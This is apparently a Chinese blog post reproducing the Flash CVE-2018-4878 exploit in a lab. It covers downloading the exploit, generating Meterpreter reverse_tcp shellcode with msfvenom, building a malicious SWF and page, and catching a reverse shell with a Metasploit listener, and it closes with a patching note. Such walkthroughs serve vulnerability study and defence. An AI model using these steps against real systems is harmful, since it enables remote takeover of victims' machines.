Flash 0day CVE-2018-4878 漏洞复现

港控/mmm° 2024-04-07 11:06 81阅读 0赞

### **0x01** **前言** ###

Adobe公司在当地时间2018年2月1日发布了一条安全公告：

[https://helpx.adobe.com/security/products/flash-player/apsa18-01.html][https_helpx.adobe.com_security_products_flash-player_apsa18-01.html]

公告称一个新的Flash 0Day漏洞(CVE-2018-4878)已经存在野外利用，可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意 Flash 代码文件的 Microsoft Office 文档、网页、垃圾电子邮件等。

### **0x02** **漏洞影响** ###

Flash Player当前最新版本28.0.0.137以及之前的所有版本

### **0x03** **漏洞复现** ###

**环境测试：**

**攻击机：kali**

**目标靶机：win7x64 +IE8.0+FLASH player28.0.0.137**

1.下载cve-2018-4878的脚步利用

wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar

2.解压压缩文件后，可看到cve-2018-4878.py和exploit.swf

![0bedeec9119fa20954d9af1612d5b2c6.jpeg][]

3. 我们需要对cve-2018-4878.py进行修改，原作者将代码中的 stageless变量改成了true，正确的应该改成： stageless = False。附上原作者的exp地址： https://github.com/anbai-inc/CVE-2018-4878.git

![3319e06664db9347dbc446f80841b95b.png][]

4.其次需要修改替换原来弹计算器的shellcode

![2c51241b6b099b546ba3090a478e90b2.jpeg][]

5.在kali下生成msf的shellcode:

msfvenom -pwindows/meterpreter/reverse\_tcplhost=your host lport=your port -fpython>shellcode.txt

![db256179822da2ba20bbab579e437390.jpeg][]

6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可

![e588ff6420e6f85698315a18b02cc2a3.jpeg][]

7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下，即可生成恶意的exploit.swf

![cc2fd3da9231c6ced963472f34aad341.jpeg][]

8.这里为了演示我将index.html和exploit.swf一同拷贝到目标靶机win7x64上，在ie浏览器下打开(也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目录下,访问地址来打开)。

![1259bd596d2b8178b8543b5bd59914d1.jpeg][]

9.在msf 下进行监听设置

msf > use exploit/multi/handler

msf exploit(handler) > set payloadwindows/meterpreter/reverse\_tcp

msf exploit(handler) > set lhost 10.0.0.217

msf exploit(handler) > set lport 443

msf exploit(handler) > exploit

![5c30c0c645ce7aeee9f7ffade0d77907.jpeg][]

10.当打开目标恶意的index.html页面时，即可触发反弹shell

![6020a82065b9bf81754bb815969d7bfe.jpeg][]

### **0x04** **漏洞修复** ###

建设通过官方网站升级到最新版本

https://get.adobe.com/cn/flashplayer/

[ ][Link 1]

[https_helpx.adobe.com_security_products_flash-player_apsa18-01.html]: https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
[0bedeec9119fa20954d9af1612d5b2c6.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/20fa3ce8196c47d79b462b9aca93bba3.jpeg
[3319e06664db9347dbc446f80841b95b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5d2a1dab550d4cd7b9a8dc8c610cc34d.png
[2c51241b6b099b546ba3090a478e90b2.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ea0c635eb8854d709d357a14034742fd.jpeg
[db256179822da2ba20bbab579e437390.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3c9376636e3b486eac0bf5df0ed8f1b6.jpeg
[e588ff6420e6f85698315a18b02cc2a3.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8a81b87cc2f6466581c60457a1de8647.jpeg
[cc2fd3da9231c6ced963472f34aad341.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/074b8138e5dd440280ff308d801a528f.jpeg
[1259bd596d2b8178b8543b5bd59914d1.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/953a62c30c854c9ca1f1503e9d4cd0fb.jpeg
[5c30c0c645ce7aeee9f7ffade0d77907.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8ae84845337a42a2bbdaa420d676b727.jpeg
[6020a82065b9bf81754bb815969d7bfe.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2ca47a00773541e198fdbb46e3107fd0.jpeg
[Link 1]: http://www.wiz.cn/i/86eb9c97